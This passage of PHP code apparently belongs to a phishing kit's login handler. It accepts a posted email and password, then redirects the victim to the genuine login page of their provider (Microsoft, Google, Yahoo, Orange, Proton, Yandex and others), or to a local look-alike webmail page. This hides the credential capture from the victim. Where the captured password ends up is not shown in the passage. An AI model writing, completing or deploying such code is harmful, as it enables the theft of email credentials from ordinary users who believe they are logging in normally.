// ============================================
// OFFICIAL LOGIN PAGE URLs BY PROVIDER
// ============================================
$officialLoginPages = [
// Microsoft / Office365
'hotmail.com' => 'https://login.live.com',
'outlook.com' => 'https://login.live.com',
'live.com' => 'https://login.live.com',
'msn.com' => 'https://login.live.com',
'microsoft.com' => 'https://www.office.com',
'office365.com' => 'https://www.office.com',
'onmicrosoft.com' => 'https://www.office.com',
// Yahoo
'yahoo.com' => 'https://login.yahoo.com',
'ymail.com' => 'https://login.yahoo.com',
'rocketmail.com' => 'https://login.yahoo.com',
// Google
'gmail.com' => 'https://accounts.google.com',
'google.com' => 'https://accounts.google.com',
'googlemail.com' => 'https://accounts.google.com',
// Orange
'orange.fr' => 'https://messagerie.orange.fr',
'wanadoo.fr' => 'https://messagerie.orange.fr',
// ProtonMail
'protonmail.com' => 'https://account.proton.me',
'proton.me' => 'https://account.proton.me',
// Apple iCloud
'icloud.com' => 'https://www.icloud.com',
'me.com' => 'https://www.icloud.com',
'mac.com' => 'https://www.icloud.com',
// Zoho
'zoho.com' => 'https://accounts.zoho.com',
'zohomail.com' => 'https://accounts.zoho.com',
// AOL
'aol.com' => 'https://login.aol.com',
// Yandex
'yandex.com' => 'https://passport.yandex.com',
'yandex.ru' => 'https://passport.yandex.ru',
// Mail.ru
'mail.ru' => 'https://mail.ru',
'bk.ru' => 'https://mail.ru',
'list.ru' => 'https://mail.ru',
'inbox.ru' => 'https://mail.ru',
];
// ============================================
// PROCESS LOGIN AND REDIRECT
// ============================================
// Get submitted credentials
$username = isset($_POST['username']) ? strtolower(trim($_POST['username'])) : '';
$password = isset($_POST['password']) ? $_POST['password'] : '';
// Validate we have both fields
if (empty($username) || empty($password)) {
header("Location: main5.php" . (!empty($username) ? "?email=" . urlencode($username) : ""));
exit;
}
// Extract domain
$domain = '';
if (strpos($username, '@') !== false) {
$domain = substr(strrchr($username, "@"), 1);
}
// Detect provider
$provider = detectEmailProvider($username);
// Determine redirect target
$redirectUrl = null;
// Step 1: Check if domain is in official list
if (isset($officialLoginPages[$domain])) {
$redirectUrl = $officialLoginPages[$domain];
}
// Step 2: Check if provider was detected via DNS
else {
switch ($provider) {
case 'office365':
$redirectUrl = 'https://login.microsoftonline.com';
break;
case 'cpanel':
$redirectUrl = 'https://webmail.' . $domain;
break;
case 'roundcube':
// Redirect to your local Roundcube page
$redirectUrl = 'main5.php?email=' . urlencode($username);
break;
case 'unknown':
default:
// No redirect - show error page
$redirectUrl = null;
break;
}
}
// ============================================
// PERFORM REDIRECT OR SHOW ERROR
// ============================================
if ($redirectUrl !== null) {
header("Location: " . $redirectUrl);
exit();
} else {
// Show error page for unknown provider
echo '
Email Provider Not Found
';
exit();
}
?>